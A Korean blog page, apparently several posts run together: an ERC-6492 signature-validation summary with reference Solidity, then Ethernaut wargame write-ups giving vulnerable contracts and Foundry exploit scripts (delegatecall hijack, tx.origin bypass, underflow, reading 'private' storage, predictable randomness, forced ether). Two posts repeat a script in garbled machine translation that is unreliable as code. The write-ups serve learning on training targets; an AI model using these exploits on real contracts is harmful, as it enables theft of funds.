Abstract

ERC-1271은 서명을 검증하는 표준이지만, 아직 배포되지 않은 컨트랙트의 서명 검증은 불가능한 한계가 존재

ERC-6492는 미배포 컨트랙트(counterfactual contract)도 서명 검증을 수행할 수 있도록 ERC-1271을 확장한 표준

  • 특정 형식의 서명 래핑(wrapping) 방식을 통해 서명을 검증할 때 컨트랙트를 먼저 배포할 수 있도록 함

Motivation

계정 추상화가 발전하면서, smart account wallet의 첫 트랜잭션 시점에 배포되는 것이 일반적

그러나 대부분 DApp은 로그인이나 인증을 위해 서명을 요구하며, 아직 배포되지 않은 스마트 지갑의 서명 검증이 어려운 한계점을 극복하는 것이 목표

Specification

# ERC-1271
isValidSignature
함수는 서명을 검증하기 위해 호출 할 수 있으며, 상황에 따라 달라질 수 있다.

시간 기반(time based): 특정 시간 내에서만 유효한 서명

  • 상태 기반(state based): 스마트 컨트랙트의 특정 상태에 따라 서명의 유효성이 달라짐
  • EOA 기반: 스마트 월렛 내에서 서명자의 권한 수준에 따라 서명의 유효성이 결정
  • 서명 방식: ECDSA, multisig, BLS 등 다양한 서명 방식 지원

이 함수는 메시지를 서명하고자 하는 컨트랙트(smart account wallet)에 의해 구현되어야 한다.
서명을 지원하려는 app은 서명자가 스마트 컨트랙트인 경우 반드시 이 함수를 호출하여 서명을 검증해야 한다.

 

ERC-1271 기존의 isValidSignature 함수를 그대로 사용하지만, 새로운 형식을 추가한 형태

검증자는 서명이 래핑 형식인지 확인한 후 -> 해당 형식이라면 isValidSignature를 호출하기 전에 반드시 컨트랙트를 배포해야 한다.

 

래핑 형식 여부는 서명의 마지막이 magicBytes 값으로 끝나는지 확인하여 판별한다.

  • magicBytes = 0x6492649264926492649264926492649264926492649264926492649264926492

ERC-6492는 CREATE2와 함께 사용하는 것이 권장

  •  컨트랙트가 배포되기 전에도 예측 가능한 주소를 알 수 있음

Signer Side

컨트랙트가 이미 배포된 경우

  • 일반적인 ERC-1271 서명 형식을 사용하여 서명을 생성

컨트랙트가 아직 배포되지 않은 경우

concat(abi.encode((create2Factory, factoryCalldata, originalERC1271Signature), (address, bytes, bytes)), magicBytes)
  • create2Factory: 컨트랙트를 배포할 팩토리 주소
  • factoryCalldata: 컨트랙트 배포에 필요한 데이터
  • originalERC1271Signature: 기존 ERC-1271 서명
  • magicBytes:0x6492649264926492649264926492649264926492649264926492649264926492

컨트랙트가 배포되었지만, ERC-1271 검증을 수행할 준비가 되지 않은 경우

concat(abi.encode((prepareTo, prepareData, originalERC1271Signature), (address, bytes, bytes)), magicBytes)
  • prepareTo: 컨트랙트를 특정 상태로 변경할 주소
  • prepareData: ERC-1271 검증이 가능하도록 컨트랙트를 준비하는 트랜잭션 데이터 (migrate, update)
  • originalERC1271Signature: 기존 ERC-1271 서명
  • magicBytes: 0x6492649264926492649264926492649264926492649264926492649264926492

 

salt 및 bytecode 대신 factoryCalldata를 전달한다는 점에 유의 

  • 어떤 팩토리 인터페이스에서도 서명 검증이 가능하도록 만들기 위함

create2Factory/salt/bytecode를 기반으로 주소를 계산할 필요가 없음

  • CREATE2를 사용할 경우, 컨트랙트 주소를 미리 알고 있기 때문

 Verifier side

서명 검증은 반드시 다음 순서대로 수행

 

1. 서명이 magic bytes로 끝나는지 확인

  • magic bytes가 감지 -> eth_call을 사용하여 멀티콜 컨트랙트를 실행
  • 멀티콜 컨트랙트는 먼저 factoryCalldata를 통해 팩토리 컨트랙트를 호출 -> smart account가 아직 배포되지 않았다면 배포

2. 해당 주소에 컨트랙트 코드가 존재하는지 확인

  • 코드가 존재 -> 기존 ERC-1271 방식대로 isValidSignature 함수를 호출하여 서명을 검증

3. ERC-1271 검증이 실패했거나, smart account가 이미 배포된 상태여서 배포 과정 넘긴 경우

  • factoryCalldata를 실행하여 추가적으로 필요한 트랜잭션을 수행한 후,  ERC-6452 방식의 isValidSignature 함수를 호출하여 서명을 검증

4.컨트랙트 코드가 없는 경우

  • ecrecover 방식을 사용하여 서명을 검증 (ecrecover 검증은 반드시 ERC-1271 검증보다 후순위)

Rationale

 

서명을 래핑하여 배포 데이터를 포함하는 이유

  • 서명을 래핑하여 배포 데이터를 함께 전달할 수 있도록 하는 것이 가장 깔끔한 해결책이라고 생각함
  • 컨트랙트에 의존하지 않으며 서명 검증이 간단하고 일관되게 수행될 수 있음

magicBytes를 활용하는 이유

 

  • magicBytes의 마지막 값 = 0x92, 이는 ECDSA의 ecrecover 서명(r, s, v)에서 v 값으로 사용할 수 없는 값이기 때문에 magicBytes가 포함된 서명은 ecrecover와 충돌할 가능성이 없음.

또한 magicBytes 자체가 32바이트로  일반적인 ERC-1271 서명과도 충돌할 위험이 없다.

 

Signature Verification Order

 

1. magicBytes 확인을 먼저 수행해야 함

  • 서명이 배포 전후에 일관되게 검증될 수 있도록 보장.

2. magicBytes 확인이 ecrecover 검증보다 먼저 수행되어야 함

  • magicBytes를 먼저 확인하면 ecrecover를 통해 잘못 검증되는 것을 방지 할 수 있음

3. ecrecover 검증은 반드시 ERC-1271 검증 후에 수행해야 함

  • 일부 스마트 컨트랙트가 ecrecover 방식과 유사한 서명 형식을 사용할 수 있기 때문

magicBytes를 통해 블록체인을 조회하지 않고도 서명인지 즉시 알 수 있으며 create2FactoryfactoryCalldata를 사용하면 서명만으로 컨트랙트의 주소를 복구할 수 있는 장점이 있다.

 

 Reference Implementation

interface IERC1271Wallet {
  function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue);
}

error ERC1271Revert(bytes error);
error ERC6492DeployFailed(bytes error);

contract UniversalSigValidator {
  bytes32 private constant ERC6492_DETECTION_SUFFIX = 0x6492649264926492649264926492649264926492649264926492649264926492;
  bytes4 private constant ERC1271_SUCCESS = 0x1626ba7e;

  function isValidSigImpl(
    address _signer,
    bytes32 _hash,
    bytes calldata _signature,
    bool allowSideEffects,
    bool tryPrepare
  ) public returns (bool) {
    uint contractCodeLen = address(_signer).code.length;
    bytes memory sigToValidate;
    // The order here is strictly defined in https://eips.ethereum.org/EIPS/eip-6492
    // - ERC-6492 suffix check and verification first, while being permissive in case the contract is already deployed; if the contract is deployed we will check the sig against the deployed version, this allows 6492 signatures to still be validated while taking into account potential key rotation
    // - ERC-1271 verification if there's contract code
    // - finally, ecrecover
    bool isCounterfactual = bytes32(_signature[_signature.length-32:_signature.length]) == ERC6492_DETECTION_SUFFIX;
    if (isCounterfactual) {
      address create2Factory;
      bytes memory factoryCalldata;
      (create2Factory, factoryCalldata, sigToValidate) = abi.decode(_signature[0:_signature.length-32], (address, bytes, bytes));

      if (contractCodeLen == 0 || tryPrepare) {
        (bool success, bytes memory err) = create2Factory.call(factoryCalldata);
        if (!success) revert ERC6492DeployFailed(err);
      }
    } else {
      sigToValidate = _signature;
    }

    // Try ERC-1271 verification
    if (isCounterfactual || contractCodeLen > 0) {
      try IERC1271Wallet(_signer).isValidSignature(_hash, sigToValidate) returns (bytes4 magicValue) {
        bool isValid = magicValue == ERC1271_SUCCESS;

        // retry, but this time assume the prefix is a prepare call
        if (!isValid && !tryPrepare && contractCodeLen > 0) {
          return isValidSigImpl(_signer, _hash, _signature, allowSideEffects, true);
        }

        if (contractCodeLen == 0 && isCounterfactual && !allowSideEffects) {
          // if the call had side effects we need to return the
          // result using a `revert` (to undo the state changes)
          assembly {
           mstore(0, isValid)
           revert(31, 1)
          }
        }

        return isValid;
      } catch (bytes memory err) {
        // retry, but this time assume the prefix is a prepare call
        if (!tryPrepare && contractCodeLen > 0) {
          return isValidSigImpl(_signer, _hash, _signature, allowSideEffects, true);
        }

        revert ERC1271Revert(err);
      }
    }

    // ecrecover verification
    require(_signature.length == 65, 'SignatureValidator#recoverSigner: invalid signature length');
    bytes32 r = bytes32(_signature[0:32]);
    bytes32 s = bytes32(_signature[32:64]);
    uint8 v = uint8(_signature[64]);
    if (v != 27 && v != 28) {
      revert('SignatureValidator: invalid signature v value');
    }
    return ecrecover(_hash, v, r, s) == _signer;
  }

  function isValidSigWithSideEffects(address _signer, bytes32 _hash, bytes calldata _signature)
    external returns (bool)
  {
    return this.isValidSigImpl(_signer, _hash, _signature, true, false);
  }

  function isValidSig(address _signer, bytes32 _hash, bytes calldata _signature)
    external returns (bool)
  {
    try this.isValidSigImpl(_signer, _hash, _signature, false, false) returns (bool isValid) { return isValid; }
    catch (bytes memory error) {
      // in order to avoid side effects from the contract getting deployed, the entire call will revert with a single byte result
      uint len = error.length;
      if (len == 1) return error[0] == 0x01;
      // all other errors are simply forwarded, but in custom formats so that nothing else can revert with a single byte in the call
      else assembly { revert(error, len) }
    }
  }
}

// this is a helper so we can perform validation in a single eth_call without pre-deploying a singleton
contract ValidateSigOffchain {
  constructor (address _signer, bytes32 _hash, bytes memory _signature) {
    UniversalSigValidator validator = new UniversalSigValidator();
    bool isValidSig = validator.isValidSigWithSideEffects(_signer, _hash, _signature);
    assembly {
      mstore(0, isValidSig)
      return(31, 1)
    }
  }
}

 

On-chain validation

  • isValidSig(_signer, _hash, _signature)
  • isValidSigWithSideEffects(_signer, _hash, _signature)

Off-chain validation

ValidateSigOffchain 헬퍼 컨트랙트를 사용하면 eth_call을 통해 오프체인에서 서명을 검증할 수 있음

const isValidSignature = '0x01' === await provider.call({
  data: ethers.utils.concat([
    validateSigOffchainBytecode,
    (new ethers.utils.AbiCoder()).encode(['address', 'bytes32', 'bytes'], [signer, hash, signature])
  ])
})

Ref

https://eips.ethereum.org/EIPS/eip-6492

 

ERC-6492: Signature Validation for Predeploy Contracts

A way to verify a signature when the account is a smart contract that has not been deployed yet

eips.ethereum.org

 

 

'wargame' 카테고리의 다른 글

Force  (0) 2024.11.13
Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

귀엽다..!

PoC

selfdestruct 함수를 날리면 남아있는 eth를 받을 수 있다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract attack {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
    receive() payable external{}
}

contract exploit is Script {
    
    function run() public {
        uint256 pk = pk;
        vm.startBroadcast(pk);

        address payable target = payable(0x215C2B126D60F16Ed2a9036A4Df030AA0724e7db);
        
        new attack{value: 0.001 ether}(target);

        vm.stopBroadcast();
    }
}

'wargame' 카테고리의 다른 글

Ethernaut All solved  (0) 2024.12.05
Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

PoC

delegatecall을 통해서 외부 컨트랙트의 함수를 호출할 땐 스토리지가 덮여쓰일 수 있는데 이 점을 잘 고려해야합니다.

해당 문제는 Delegate 와 Delegation 컨트랙트의 owner가 같은 스토리지 번호를 사용하고 있기 때문에 pwn 함수를 호출하게 되면 Delegation 컨트랙트의 owner가 변경됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        address target = 0xedC5EB529948aa0e3365b8EBA435dE81617Cc4A5;
        bytes memory data = abi.encodeWithSignature("pwn()");
        target.call(data);
        
        vm.stopBroadcast();
    }
}

 

Ref

- https://velog.io/@youngju307/Solidity-Call-vs-Delegate-Call

'wargame' 카테고리의 다른 글

Ethernaut All solved  (0) 2024.12.05
Force  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

 

PoC

동전의 앞, 뒷면(true,false)를 10번 맞추면 되는 문제

factor와 block number은 미리 알 수 있기 때문에 동전 앞,뒷면을 예측할 수 있습니다.

interface ICoinFlip{
    function flip(bool _guess) external returns (bool);
}
contract exploit {
    function attack() public{
        ICoinFlip target = ICoinFlip(0xF312A8f555137415878f323479780abc9a0d9Ab6);
        uint factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

        uint blockValue = uint(blockhash(block.number - 1));
        uint coinflip = blockValue / factor;
        bool side = coinflip == 1 ? true : false;

        target.flip(side);
    }
}

'wargame' 카테고리의 다른 글

Force  (0) 2024.11.13
Delegate  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

 

PoC

EOA대신 CA로 호출하면 owner를 수정할 수 있습니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface ITelephone{
    function changeOwner(address _owner) external;
}
contract exploit is Script{
    function run() public{
        uint256 pk = pk;
        vm.startBroadcast(pk);
        new attack();
        vm.stopBroadcast();
    }
}
contract attack{
    constructor(){
        ITelephone target = ITelephone(0x66E30A375F40B30eEA6a12C59f32424842C36502);
        target.changeOwner(0x114C69ba39B7db730504B61fb8861Cb9b25C5540);
    }
}

 

Ref

- https://velog.io/@iwin1203/tx.origin%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-phishing-%EC%98%88%EC%A0%9C

 

'wargame' 카테고리의 다른 글

Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

PoC

Fal1out 함수 호출하면 됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface IFallout{
    function Fal1out() external payable;
}
contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        IFallout target = IFallout(0x2AA05E277f1967DE4a78529ECf610f0F9c36d00A);
        target.Fal1out();
        vm.stopBroadcast();
    }
}

 

 

'wargame' 카테고리의 다른 글

Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
King  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

PoC

처음에 발급 받은 토큰 개수보다 더 크게 증가시키는 문제이다.

배포된 컨트랙트 버전이 0.6.0 => 오버/언더플로우 검사 X

20 - 21 = uint256 max값

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface IToken{
    function transfer(address _to, uint256 _value) external returns (bool);
}
contract exploit is Script{
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        IToken target = IToken(0x6b14Da6F2dFcE31d67284Cf2E2Ff3Fd1e265075F);
        target.transfer(msg.sender,21);
        vm.stopBroadcast();
    }
}

'wargame' 카테고리의 다른 글

Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Vault  (0) 2024.11.13
King  (0) 2024.11.13
Fallback  (0) 2024.11.12

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

 

PoC

스토리지 조회하면 나온다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

interface IVault {
    function unlock(bytes32 _password) external;
    function locked() external view returns (bool);
}

contract VaultAttack is Script {
    function run() public {
        uint256 pk = pk;
        address vaultAddress = 0x1e13911fBBa01aFad8a23413E420F9039D98dBd9;
        
        vm.startBroadcast(pk);

        bytes32 password = vm.load(vaultAddress, bytes32(uint256(1)));
        
        IVault(vaultAddress).unlock(password);

        vm.stopBroadcast();
    }
}
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; "forge-std/Script.sol"에서 {스크립트, 콘솔}을 가져옵니다. 인터페이스 IVault { 기능 잠금 해제(bytes32 _password) 외부; 함수 잠김() 외부 보기 반환(bool); } 계약 VaultAttack은 Script { function run() public { uint256 pk = pk; 주소 VaultAddress = 0x1e13911fBBa01aFad8a23413E420F9039D98dBd9; vm.startBroadcast(pk); bytes32 비밀번호 = vm.load(vaultAddress, bytes32(uint256(1))); IVault(vaultAddress).unlock(비밀번호); vm.stopBroadcast(); } }
 

'wargame' 카테고리의 다른 글

Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13
King  (0) 2024.11.13
Fallback  (0) 2024.11.12

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

 

PoC

receive 함수가 호출될 때 msg.value와 contributions 이 0보다 크면  owner가 변경됩니다.

이후 withdraw 호출

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface IFallback{
    function contribute() external payable;
    function withdraw() external;
}
contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        IFallback target = IFallback(0x2712E9e4423408BAA485404d941DcebA00db70E0);
        target.contribute{value: 0.1 gwei}();
        address(target).call{value: 0.1 gwei}("");
        target.withdraw();
        vm.stopBroadcast();
    }
}

 

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; "forge-std/Script.sol"에서 {스크립트, 콘솔}을 가져옵니다. 인터페이스 IFallback{ 함수 기여() 외부 지급; 함수 철회() 외부; } 계약 익스플로잇은 Script { function run() public { uint pk = pk; vm.startBroadcast(pk); IFallback 대상 = IFallback(0x2712E9e4423408BAA485404d941DcebA00db70E0); target.contribute{값: 0.1 gwei}(); 주소(대상).call{값: 0.1 gwei}(""); target.withdraw(); vm.stopBroadcast(); } }
 

'wargame' 카테고리의 다른 글

Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
King  (0) 2024.11.13

+ Recent posts